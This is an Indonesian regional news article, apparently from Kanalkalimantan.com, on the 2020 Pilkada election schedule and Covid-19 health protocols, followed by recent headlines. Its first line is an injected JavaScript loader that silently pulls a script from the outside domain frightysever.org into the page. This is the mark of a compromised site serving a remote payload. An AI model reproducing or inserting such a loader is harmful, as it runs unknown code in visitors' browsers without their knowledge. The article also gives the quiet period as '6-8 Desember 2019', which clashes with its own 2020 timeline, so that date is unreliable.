(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Politik

Ini Jadwal Tahapan Pilkada 2020 di Era Covid-19, Masa Kampanye Berlangsung 71 Hari


KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) RI telah menetapkan tahapan penyelenggaraan Pemilihan Kepala Daerah (Pilkada) serentak 2020 di era pandemi Covid-19. Sejumlah protokol kesehatan pun akan diterapkan pada tahapan-tahapan pilkada.

Keputusan itu diberlakukan seiring dengan dikeluarkannya Peraturan KPU (PKPU) Nomor 5 Tahun 2020 mengenai perubahan ketiga atas Peraturan Komisi Pemilihan Umum Nomor 15 Tahun 2019 tentang Tahapan, Program, dan Jadwal Pilkada Tahun 2020.

Aturan itu sengaja secara khusus dibentuk KPU untuk merinci tahapan Pilkada serentak tahun 2020 yang sempat tertunda sekitar 3 bulan imbas dari mewabahnya Covid-19.

Gelaran Pilkada 2020 kali ini akan tampak berbeda dengan Pilkada tahun-tahun sebelumnya. Salah satunya, KPU akan menerapkan protokol kesehatan Covid-19 dalam seluruh tahapan penyelenggaraan Pilkada 2020.

Keputusan itu diberlakukan setelah KPU berkoordinasi dengan Ketua Gugus Tugas Percepatan Penanganan Covid-19, Doni Monardo dan Menteri Kesehatan, Terawan Agus Putranto. KPU nantinya akan membuat aturan teknis mengenai tata cara teknis pelaksanaan protokol kesehatan dalam Pilkada 2020 melalui peraturan KPU yang akan diterbitkan dalam waktu dekat.

Ini beberapa jadwal tahapan Pilkada 2020:

1) KPU mulai melanjutkan tahapan penyelenggaraan Pilkada serentak tahun 2020 pada Senin (15/6), lewat pembentukan Panitia Pemilihan Kecamatan (PPK) dan pelantikan Panitia Pemungutan Suara (PPS) di 270 daerah yang menggelar Pilkada 2020.

2) KPU Kabupaten/Kota kembali menyusun Daftar Pemilih oleh KPU Kabupaten/Kota dan penyampaian kepada PPS, kelompok penyelenggara pemungutan suara (KPPS) dan seterusnya sejak Senin (15/6).

3) KPU akan menetapkan masa pemutakhiran Daftar Pemilih Sementara (DPS) hingga penetapan Daftar Pemilih Tetap (DPT) pada 15 Juni-6 Desember 2020.

4) Pada 4-6 September KPU akan resmi membuka tahapan pendaftaran bakal calon kepala daerah.

5) KPU akan melakukan rangkaian verifikasi terhadap bakal calon yang mendaftar. Nantinya, KPU akan menetapkan pasangan calon kepala daerah yang akan berlaga 23 September 2020.

6) Tahapan kampanye akan dimulai pada 26 September hingga 5 Desember atau sebanyak 71 hari. KPU membagi masa kampanye calon kepala daerah ini dengan tiga fase.

a. Fase pertama yakni kampanye pertemuan terbatas, pertemuan tatap muka, dialog, penyebaran bahan kampanye kepada umum pemasangan alat peraga dan/atau kegiatan lain.

b. Fase kedua, KPU akan menggelar debat publik/terbuka antarpasangan calon sebagai bagian dari kampanye calon kepala daerah. Fase pertama dan kedua masa kampanye itu akan digelar pada 26 September hingga 5 Desember 2020.

c. Fase ketiga, KPU akan membuka kampanye calon kepala daerah melalui media massa, cetak, dan elektronik, pada 22 November hingga 5 Desember 2020.

7) Masa tenang dan pembersihan alat peraga sendiri akan dilakukan pada 6-8 Desember 2019.

8) Pemungutan suara sekaligus penghitungan suara di tempat pemungutan suara (TPS) dilaksanakan pada 9 Desember 2020.

Setelah itu, penghitungan suara secara berjenjang dilakukan. Runutannya, penghitungan suara di tingkat kecamatan akan digelar pada 10-14 Desember, penghitungan suara di kabupaten/kota 13-17 Desember. Penghitungan suara di tingkat provinsi untuk pemilihan gubernur berlangsung pada 16-20 Desember.

Meski demikian, KPU belum mencantumkan jadwal penetapan pasangan calon kepala daerah terpilih tanpa permohonan perselisihan hasil Pilkada.

KPU baru memutuskan akan menetapkan calon kepala daerah yang bersengketa di Mahkamah Konstitusi (MK) paling lama lima hari setelah MK resmi memberitahukan permohonan yang teregistrasi dalam Buku Registrasi Perkara Konstitusi (BRPK) kepada KPU.

Diketahui, Gugus Tugas Percepatan Penanganan Covid-19 pernah merinci bahwa 40 dari 261 kabupaten atau kota yang akan menyelenggarakan Pilkada Serentak 2020 masuk dalam zona penyebaran virus corona.

Selanjutnya, 99 kabupaten atau kota lainnya masuk di zona oranye, 72 di zona kuning, dan 43 berada di zona hijau penyebaran Covid-19. Meski digelar di tengah pandemi, Ketua KPU Arief Budiman yakin bisa mempertahankan jumlah pemilih di Pilkada 2020. (Kanalkalimantan.com/cnnindonesia)

 

Editor : Cell

 


Desy Arfianty

Recent Posts

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

2 jam ago

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

3 jam ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

4 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

4 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

5 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

6 jam ago

This website uses cookies.